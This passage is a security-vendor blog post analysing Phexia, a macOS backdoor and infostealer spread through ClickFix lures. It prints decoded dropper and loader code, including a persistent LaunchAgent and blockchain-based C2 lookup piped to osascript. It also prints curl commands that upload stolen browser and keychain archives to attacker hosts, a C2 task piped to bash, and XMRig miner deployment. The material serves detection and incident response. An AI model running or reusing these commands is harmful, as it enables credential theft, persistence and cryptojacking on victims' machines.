[{"id":14333,"date":"2026-11-04T10:18:17","date_gmt":"2026-11-04T08:18:17","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=14333"},"modified":"2026-11-04T10:19:11","modified_gmt":"2026-11-04T08:19:11","slug":"phexia-macos-malware","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/","title":{"rendered":"Inside Phexia: A macOS malware delivered through ClickFix"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Inside Phexia: A macOS malware delivered through ClickFix<\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Blog post                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Attack Detection                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Dfir                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Incident Response                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Malware                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Research                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Nov 4, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/&#038;title=Inside%20Phexia:%20A%20macOS%20malware%20delivered%20through%20ClickFix\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Inside Phexia: A macOS malware delivered through ClickFix&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_88d6b3ae75811f4ed308159b264748a5\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Shashika Harshani<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Incident response investigator, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/&#038;title=Inside%20Phexia:%20A%20macOS%20malware%20delivered%20through%20ClickFix\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Inside Phexia: A macOS malware delivered through ClickFix&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Background<\/h2>\n<p>Phexia is a modular macOS backdoor and infostealer that is actively sold and leveraged by several threat actors targeting the macOS ecosystem particularly through ClickFix-class campaigns since atleast late 2025. While infostealers such as MacSync and Atomic macOS stealer (AMOS) have generally dominated the commodity macOS infostealer scene in recent years, WithSecure continues to observe a growing number of macOS infections leveraging Phexia since early 2026, indicating an increasing number of threat actors purchasing and leveraging the malware in their campaigns.<\/p>\n<p>WithSecure observed several changes made to the malware since its earliest sightings in late 2025. The most recent and notable change in Phexia occurred in May 2026, when the threat actor started testing smart contracts on the Polygon blockchain as a command-and-control (C2) dead-drop resolver (DDR). The abuse of smart contracts by threat actors as part of their attack chain is generally known as EtherHiding. The malware previously relied on hardcoded C2 domains as well as Telegram channels and Steam profiles as its C2 DDR. The threat actor was observed actively weaponizing the Polygon smart contracts since late May to early June 2026. The earliest Polygon-resolved Phexia C2 activity was observed in WithSecure\u2019s client telemetry in mid June 2026 and continued through summer with latest activity being observed at the time of writing this report.<\/p>\n<p>This blogpost focuses on the latest Phexia builds that take their C2 from the Polygon smart contract. We share what we observed on infected endpoints that is not covered by existing reporting, including previously undocumented C2 infrastructure observed between July and October 2026, as well as insights into operator activity following infection. Guidance on threat hunting and detection, incident response and recovery, MITRE ATT&amp;CK mapping, as well as Indicators of Compromise (IOCs) can be found in the appendices section of this blogpost.<\/p>\n<h2><span style=\"font-family: 'Titling Gothic FB', serif; font-size: 28px;\">Key findings<\/span><\/h2>\n<ul>\n<li>WithSecure traced Phexia from Terminal execution to credential theft. Observed activity included AppleScript execution, LaunchAgent persistence, login-password capture, and collection of browser data, keychain material and password-manager extension stores.<\/li>\n<li>Our analysis identified additional C2 domains through October 2026, a build observed in October used a different Polygon contract for C2 resolution.<\/li>\n<li>We established how Phexia\u2019s tasking deployed XMRig. The analysis shows that ledger and shell responses delivered the miner, with repeated reinstallation and changes to mining pools and wallets.<\/li>\n<li>C2 rotation did not immediately redirect existing infections. Older domains remained in use, and reinfection could leave multiple builds communicating with separate infrastructure, keeping historical indicators and earlier persistence relevant to incident response.<\/li>\n<\/ul>\n<h2>Phexia infection vectors and execution chain<\/h2>\n<p>Across all the latest Phexia infections where WithSecure had visibility into initial execution, the infection chain began with a command executed through Terminal. The command downloaded a shell script and piped its contents directly to bash. The script executed an AppleScript dropper, which installed a persistent AppleScript loader through a LaunchAgent. The loader then retrieved the C2 address from a Polygon smart contract and downloaded the backdoor module. Once running, the backdoor polls the C2 server for commands.<\/p>\n<figure id=\"attachment_14339\" aria-describedby=\"caption-attachment-14339\" style=\"width: 2560px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-14339 size-full\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-scaled.png.webp\" alt=\"\" width=\"2560\" height=\"962\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-scaled.png.webp 2560w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-300x113.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-1024x385.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-768x289.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-1536x577.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-2048x770.png.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-447x168.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/11\/figure_1_phexia-388x146.png.webp 388w\" sizes=\"auto, (max-width: 2560px) 100vw, 2560px\" \/><figcaption id=\"caption-attachment-14339\" class=\"wp-caption-text\">Figure 1. Overview of the latest Phexia infection chain observed in WithSecure telemetry.<\/figcaption><\/figure>\n<h3>Initial access<\/h3>\n<p>On almost every infected Mac endpoint, WithSecure telemetry showed the same process ancestry:<\/p>\n<ul>\n<li>An interactive shell (zsh or bash) was associated with Terminal as the responsible process.<\/li>\n<li>The interactive shell spawned bash.<\/li>\n<li>That bash process spawned curl to download the installation script.<\/li>\n<\/ul>\n<p>The following example shows the process ancestry recorded for curl:<\/p>\n<p style=\"padding-left: 40px;\">curl -s https:\/\/&lt;random&gt;.&lt;domain&gt;\/update.sh<\/p>\n<p style=\"padding-left: 80px;\">parent: bash<\/p>\n<p style=\"padding-left: 80px;\">grandparent: -zsh<\/p>\n<p style=\"padding-left: 80px;\">responsible: \/System\/Applications\/Utilities\/Terminal.app<\/p>\n<p>The downloaded script was piped to bash for execution. The process ancestry places this activity within an interactive Terminal session, consistent with a user executing a command supplied through ClickFix-style social engineering attack.<\/p>\n<p>The installation script was often named update.sh, however additional names\u00a0 were also observed, including: script.sh, clear-cache.sh and Terminal.sh. The scripts were hosted on random-looking subdomains, with delivery domains changing between infection waves. Where two Macs were infected on the same day with the same build, both downloaded the script from the same delivery domain.<\/p>\n<p>Earlier infections used different query parameters, including ublib, while a May pre-Polygon infection already used the same curl -s https:\/\/&lt;domain&gt;\/script.sh form observed in later Polygon-resolved infections.<\/p>\n<p>Our analysis established a strong connection to a specific delivery route on 6 July 2026. WithSecure telemetry recorded downloads from `coeuzgoq.bahisbiz[.]com\/\/update.sh`, matching the exact URL including the double slash documented in <a href=\"https:\/\/haveibeensquatted.com\/blog\/from-typosquatting-to-macos-backdoor-clickfix-blockchain-c2\" target=\"_blank\" rel=\"noopener\">public reporting<\/a> that day. The observed build ID and LaunchAgent label also matched the reported sample. Together, these indicators strongly connect the observed infections to the reported distribution activity and support typosquatting as a likely delivery route.<\/p>\n<p>Public reporting provides additional context for these findings, documenting ClickFix delivery through <a href=\"https:\/\/p0pcycle.com\/2026\/06\/08\/c2-on-the-blockchain\/\" target=\"_blank\" rel=\"noopener\">typosquatted domains <\/a> and <a href=\"https:\/\/abekweng.medium.com\/inside-a-blockchain-hosted-malware-campaign-targeting-windows-and-macos-f5bcdeffed66\" target=\"_blank\" rel=\"noopener\">shopping listings<\/a> that redirect users to fake CAPTCHA pages. While the specific lures associated with the remaining infections could not be established, WithSecure\u2019s endpoint analysis identified a consistent execution chain: a download command executed through Terminal, followed by AppleScript dropper execution and persistence through a LaunchAgent.<\/p>\n<h3>Delivery: the dropper and persistence<\/h3>\n<p>WithSecure telemetry showed the downloaded shell script launching an AppleScript dropper through osascript -e, with bash recorded as the parent process. The dropper writes a per-user LaunchAgent to ~\/Library\/LaunchAgents and sets KeepAlive to true, instructing launchd to restart the loader if it exits. The earlier-generation droppers we decoded also explicitly set RunAtLoad, causing execution when the agent is loaded, including at user login.<\/p>\n<p>After writing the LaunchAgent configuration, the dropper executes launchctl unload followed by launchctl loadagainst the same plist. This sequence reloads the agent associated with that configuration, allowing repeated execution of the same dropper to refresh the existing persistence entry.<\/p>\n<p>Our telemetry showed that this process does not remove persistence established by earlier builds under different labels. During reinfection activity observed on 27 October 2026, a new build installed an additional LaunchAgent while the earlier agent remained active. The earlier C2 continued issuing tasks for more than 20 minutes after the new build began communicating with different infrastructure. This demonstrates that reinfection can leave multiple Phexia builds operating concurrently on the same endpoint.<\/p>\n<p>Analysis of the droppers recovered from our telemetry identified two generations:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"162\"><strong>Builds observed<\/strong><\/td>\n<td width=\"294\"><strong>Dropper characteristics<\/strong><\/td>\n<td width=\"168\"><strong>LaunchAgent label<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"162\">June to mid-September 2026<\/td>\n<td width=\"294\">Readable AppleScript\u00a0do shell script\u00a0block<\/td>\n<td width=\"168\">com.&lt;16 lowercase letters&gt;<\/td>\n<\/tr>\n<tr>\n<td width=\"162\">From October 2026<\/td>\n<td width=\"294\">Obfuscated AppleScript containing junk variables, dummy properties and arithmetic expressions, consistent with the loader\u2019s obfuscation style<\/td>\n<td width=\"168\">com.Apple.&lt;16 lowercase letters&gt;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The October naming pattern appears intended to impersonate an Apple component. However, its capitalised\u00a0com.Apple. prefix differs from the conventional lowercase\u00a0com.apple.\u00a0namespace. Combined with the random-looking suffix and placement in the user\u2019s LaunchAgents directory, this provides a useful hunting indicator. Detection logic should cover both observed label formats and correlate them with the associated script execution.<\/p>\n<p>The October obfuscation did not conceal every installation step. Commands that created the LaunchAgents directory and wrote the plist remained visible as readable shell commands in process telemetry, including mkdir -p &#8220;$HOME\/Library\/LaunchAgents&#8221; and the subsequent\u00a0cat &gt; &lt;file&gt; &lt;&lt;END_PLIST. Both commands appear in process telemetry as readable text, and the plist contents including its label are partly visible.<\/p>\n<p>The following excerpt, decoded from a dropper captured in WithSecure telemetry, shows how the LaunchAgent establishes persistence and executes the embedded loader:<\/p>\n<p><code>SCRIPT_PATH=\"$HOME\/Library\/&lt;label&gt;\";<br \/>\nmkdir -p \"$HOME\/Library\/LaunchAgents\";<br \/>\ncat &gt; \"$HOME\/Library\/LaunchAgents\/com.&lt;label&gt;.plist\" &lt;&lt;END_PLIST<br \/>\n\u2026<br \/>\n&lt;key&gt;KeepAlive&lt;\/key&gt;&lt;true\/&gt;<br \/>\n&lt;key&gt;RunAtLoad&lt;\/key&gt;&lt;true\/&gt;<br \/>\n&lt;key&gt;ProgramArguments&lt;\/key&gt;<br \/>\n&lt;array&gt;<br \/>\n&lt;string&gt;\/bin\/bash&lt;\/string&gt;<br \/>\n&lt;string&gt;-c&lt;\/string&gt;<br \/>\n&lt;string&gt;echo '&lt;base64&gt;' | base64 -d | osascript&lt;\/string&gt;<br \/>\n&lt;\/array&gt;<br \/>\nEND_PLIST<br \/>\nlaunchctl unload ~\/Library\/LaunchAgents\/com.&lt;label&gt;.plist 2&gt;\/dev\/null<br \/>\nlaunchctl load ~\/Library\/LaunchAgents\/com.&lt;label&gt;.plist<br \/>\n<\/code><\/p>\n<p>Although the dropper defines\u00a0SCRIPT_PATH\u00a0under\u00a0~\/Library, the decoded code does not use it. Instead, the complete loader is stored as a Base64-encoded string within the LaunchAgent\u2019s\u00a0ProgramArguments. Each time the agent runs,\u00a0bash decodes the string and pipes the resulting AppleScript directly to\u00a0osascript. This execution path does not write the decoded loader to a separate script file; the encoded loader remains embedded in the plist.<\/p>\n<p>We also observed differences in the embedded loader\u2019s size between builds, consistent with the variation in obfuscation examined in the next section.<\/p>\n<h3>Execution: the loader<\/h3>\n<p>WithSecure fully decoded embedded loaders recovered from infected endpoints and compared their behaviour with the wider telemetry. The decoded loaders were functionally equivalent: they used the same Polygon RPC endpoints, contract address, function selector and initial module request. Their differences were confined to the build identifier and obfuscation. The same lookup and bmodule retrieval sequence appeared throughout the Polygon-resolved infections we examined. A build installed on 27 October 2026 queried a different contract, discussed in a later section titled \u201cBlockchain and infrastructure analysis\u201d.<\/p>\n<p>The following abbreviated excerpt shows the decoded loader logic, with descriptive variable names substituted for the original identifiers:<\/p>\n<p><code>set rpcEndpoints to {\"polygon.drpc.org\", \"polygon.publicnode.com\", \"polygon-mainnet.gateway.tatum.io\", \"tenderly.rpc.polygon.community\"}<br \/>\nset rpcPayload to \"{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"eth_call\\\",\\\"params\\\":[{\\\"to\\\":\\\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\\\",\\\"data\\\":\\\"0x2686ecea\\\"},\\\"latest\\\"],\\\"id\\\":1}\"<br \/>\nrepeat with endpoint in rpcEndpoints<br \/>\ntry<br \/>\nset c2 to do shell script \"r=$(curl -s --max-time 15 https:\/\/\" &amp; endpoint &amp; \" -X POST -H 'Content-Type: application\/json' --data '\" &amp; rpcPayload &amp; \"'); \u2026 | xxd -r -p\"<br \/>\nif c2 is not equal \"\" then exit repeat<br \/>\nend try<br \/>\nend repeat<br \/>\nif c2 is not equal \"\" then<br \/>\ndo shell script \"curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST https:\/\/\" &amp; quoted form of c2 &amp; \" -d \" &amp; quoted form of (\"txid=&lt;BUILD-ID&gt;&amp;bmodule\") &amp; \" | osascript\"<br \/>\nend if<\/code><\/p>\n<p>The loader queries the public RPC endpoints sequentially in the listed order, allowing up to 15 seconds per request. Each request uses eth_call to query the contract at the latest block. We independently calculated the selector for getServerURL() and confirmed that the first four bytes of its Keccak-256 hash are 0x2686ecea, matching the loader\u2019s call data. This follows the function-selector encoding defined by the contract ABI.<\/p>\n<p>The response is parsed using sed, printf and xxd -r -p to extract and decode the C2 hostname. The loader stops querying endpoints once it obtains a non-empty hostname. Most lookups in our telemetry used the first endpoint, polygon.drpc.org. We also observed lookup sequences progressing through PublicNode, Tatum and Tenderly, consistent with earlier attempts failing to produce a usable hostname.<\/p>\n<p>After resolving the C2, the loader requests bmodule with the build identifier in the POST body and pipes the response directly to osascript. The request specifies a five-second connection timeout, a 20-second maximum transfer time and up to three retries, with a five-second retry delay. There is no fallback C2 address in the decoded loaders. If all RPC lookups fail, the loader exits; the existing LaunchAgent configuration causes it to restart and repeat the lookup.<\/p>\n<h3>The backdoor module (bmodule)<\/h3>\n<p>The loader pipes bmodule directly from the C2 into osascript, without saving it as a standalone script. WithSecure reconstructed its behaviour from the resulting process activity: C2 resolution and validation, host identification, password capture, registration and task polling. Subsequent requests retrieved the stealer modules (smodule and lmodule), ledger and shell payloads, whose execution is examined in the next section.<\/p>\n<p>From 20 October 2026, we observed an additional initialization operation. The backdoor requested txid=&lt;BUILD-ID&gt;&amp;init and executed the response through bash in the background. The returned script uploaded the build identifier, hardware UUID and username, together with an apps field. Every captured upload in this activity sequence contained the same list of application names, consistent with an installed-software inventory.<\/p>\n<p>This operation recurred during 20\u201327 October, accompanied each observed C2 transition in the associated activity, and continued after reinfection introduced a new build using a second Polygon contract. The pattern is consistent with execution at backdoor startup. We assess with moderate confidence that the operator uses the inventory to inform task selection.<\/p>\n<h2>Observed post-compromise activity<\/h2>\n<p>WithSecure\u2019s endpoint analysis identified credential capture, browser and keychain data collection, and cryptominer deployment following Phexia infection. Alongside bmodule retrieval, we observed requests for the full and light stealer modules (smodule and lmodule), the ledger module and shell scripts. Initial task-driven activity sometimes began within a minute of the first recorded malicious execution, suggesting that at least part of the tasking was automated.<\/p>\n<h3><span lang=\"EN-US\">Password capture<\/span><\/h3>\n<p>WithSecure observed the backdoor using dscl . authonly to test for an empty account password before validating supplied passwords. Valid credentials are stored in ~\/.passphrase for use by the stealer modules. This behaviour is consistent with the fake \u201cSystem Preferences\u201d dialog described in public analysis.<\/p>\n<p>This password-validation sequence commonly resulted in the user\u2019s login password being written to ~\/.passphrase. Where reliable timing data was available, this occurred between less than a minute and approximately eight minutes after initial execution. We also observed delayed activity, with password checks beginning approximately 22 hours after infection and recurring on subsequent days. These observations show that password-capture attempts can continue well beyond the initial installation.<\/p>\n<p>The password was supplied directly to dscl as a command-line argument:<br \/>\n<code>dscl . authonly &lt;REDACTED-USER&gt; &lt;REDACTED-PASSWORD&gt;<\/code><\/p>\n<p>This exposes the plaintext password to process-command-line logging, including EDR telemetry and any SIEM receiving those events.<\/p>\n<h3>Data theft<\/h3>\n<p>Our analysis established the collection activity performed by the stealer modules, including:<\/p>\n<ul>\n<li><strong>Browser encryption material<\/strong>. Commands such as security find-generic-password -w -s &#8216;&lt;Browser&gt; Safe Storage&#8217; targeted keychain entries for Chrome, Microsoft Edge, Brave, Opera and Vivaldi. These secrets can support decryption of saved browser credentials and cookies, while the captured login password can facilitate access to the keychain.<\/li>\n<li><strong>Browser profile data<\/strong>. Files including Cookies, History, Login Data and Web Data were copied into \/tmp\/&lt;long hex&gt;\/Browsers\/.<\/li>\n<li><strong>Password-manager extension data<\/strong>. LastPass and NordPass extension stores, including IndexedDB databases, were copied into \/tmp\/&lt;long hex&gt;\/Extensions\/.<\/li>\n<li><strong>The login keychain<\/strong>. The database at ~\/Library\/Keychains\/login.keychain-db was copied into the staging directory.<\/li>\n<li><strong>Wallet discovery<\/strong>. Directory-existence checks targeted desktop cryptocurrency wallets, including Ledger Wallet. These checks establish discovery activity; they do not independently confirm collection of wallet contents.<\/li>\n<li><strong>Host and network information<\/strong>. The malware executed system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType and queried api.ipify.org for the public IP address.<\/li>\n<\/ul>\n<p>We also decoded a separate AppleScript used to collect Safari cookies. The script created a staging directory ~\/tempFolderC, selected the Safari cookies\u2019 file path according to the macOS version, and instructed Finder to copy Cookies.binarycookies into that directory. This delegated access to Finder rather than reading the protected Safari container directly from the stealer process.<\/p>\n<p>The collected data was archived with ditto -c -k &#8211;sequesterRsrc into \/tmp\/&lt;long hex&gt;.zip. We then observed separate multipart upload commands targeting the C2 over HTTPS and 62.60.226[.]50 over unencrypted HTTP:<\/p>\n<p><code>curl --max-time 90 -F 'txid=&lt;BUILD-ID&gt;' -F 'file=@\/tmp\/&lt;long hex&gt;.zip' https:\/\/&lt;C2&gt;\/upload.php<\/code><\/p>\n<p><code>curl --max-time 3000 -F 'txid=&lt;BUILD-ID&gt;' -F 'file=@\/tmp\/&lt;long hex&gt;.zip' http:\/\/62.60.226[.]50\/upload.php &gt; \/tmp\/updstat.txt 2&gt;&amp;1<\/code><\/p>\n<p>Both requests submitted the same archive and build identifier. The direct-IP upload allowed a substantially longer timeout &#8211; 3,000 seconds compared with 90 seconds and redirected its output and errors to\u00a0\/tmp\/updstat.txt.<\/p>\n<h3>The ledger module<\/h3>\n<p>We observed requests containing txid=&lt;BUILD-ID&gt;&amp;ledger, with the responses passed directly to a shell for execution. No installation of a fake Ledger application was identified in the associated telemetry. Instead, activity in June showed a ledger response downloading and launching XMRig.<\/p>\n<h3>Cryptomining through C2 tasking<\/h3>\n<p>WithSecure observed XMRig deployment through both the ledger and shell tasking mechanisms. The download commands retrieved the official XMRig 6.26.0 macOS arm64 release from the project\u2019s GitHub repository.<\/p>\n<p>In June 2026, execution of a ledger response initiated the miner download approximately 30 seconds after the first recorded malicious activity:<\/p>\n<p><code>curl -L -o xmrig.tar.gz https:\/\/github.com\/xmrig\/xmrig\/releases\/download\/v6.26.0\/xmrig-6.26.0-macos-arm64.tar.gz<\/code><\/p>\n<p>In October, miner deployment occurred through shell responses. The first observed request in this sequence was recorded on 20 October, approximately five hours after infection. Further requests followed several times a day:<\/p>\n<p><code>curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https:\/\/&lt;C2&gt;\/' -d 'uuid=&lt;UUID&gt;&amp;username=&lt;USER&gt;&amp;txid=&lt;BUILD-ID&gt;&amp;shell' | bash<\/code><\/p>\n<p>The returned scripts stopped any running\u00a0xmrig\u00a0process, downloaded and extracted the release archive again, checked the processor architecture with\u00a0uname -m, and launched the miner. Observed commands included:<\/p>\n<p><code>killall xmrig<br \/>\ncurl -L -O https:\/\/github.com\/xmrig\/xmrig\/releases\/download\/v6.26.0\/xmrig-6.26.0-macos-arm64.tar.gz<br \/>\ntar -xzf xmrig-6.26.0-macos-arm64.tar.gz<br \/>\nchmod +x xmrig-6.26.0\/xmrig<br \/>\nmkdir -p \/tmp\/rigupdater<\/code><\/p>\n<p>The initial mining configuration used HashVault over TLS and specified 13 threads:<\/p>\n<p><code>xmrig -o pool.hashvault[.]sh:443 -u &lt;WALLET-1&gt; -p arm64 -k --tls --threads=13<\/code><\/p>\n<p>The repeated deployment continued across C2 transitions from secdarvin2026[.]icu to oreshnik[.]top and svo-zv[.]pro, and then to dhsbdgs[.]icu following reinfection on 27 October. Our telemetry also captured changes to the mining pool, wallet and working directory:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"120\"><strong>First observed (UTC)<\/strong><\/td>\n<td width=\"120\"><strong>Mining pool<\/strong><\/td>\n<td width=\"270\"><strong>Wallet<\/strong><\/td>\n<td width=\"114\"><strong>Working directory<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"120\">20 2026<\/td>\n<td width=\"120\">pool.hashvault[.]sh:443\u00a0(TLS)<\/td>\n<td width=\"270\">4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L<\/td>\n<td width=\"114\">\/tmp\/rigupdater<\/td>\n<\/tr>\n<tr>\n<td width=\"120\">26 October 2026<\/td>\n<td width=\"120\">pool.supportxmr[.]com:3333<\/td>\n<td width=\"270\">4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L<\/td>\n<td width=\"114\">\/tmp\/applecomlistupdate<\/td>\n<\/tr>\n<tr>\n<td width=\"120\">26 October 2026<\/td>\n<td width=\"120\">pool.supportxmr[.]com:3333<\/td>\n<td width=\"270\">82hSZSZNcbCdWd3ESkMDnC5cegaJnFhcG8PUBkMPof5mEdMDCF8cLcE1QuW4h82ggwi4qtfnRwMEgZPKQEnogkvmLFuRLFv<\/td>\n<td width=\"114\">\/tmp\/applecomlistupdate<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Blockchain-based C2 resolution and infrastructure<\/h2>\n<p>WithSecure\u2019s analysis linked multiple Phexia builds to a shared Polygon contract and tracked the C2 infrastructure used by infected endpoints. The loaders contained no hardcoded C2 domain; instead, the contract supplied a hostname that the operator could replace through a blockchain transaction without modifying the deployed malware.<\/p>\n<p>This separates C2 discovery from the infrastructure serving commands and payloads. Suspending a C2 domain does not remove the 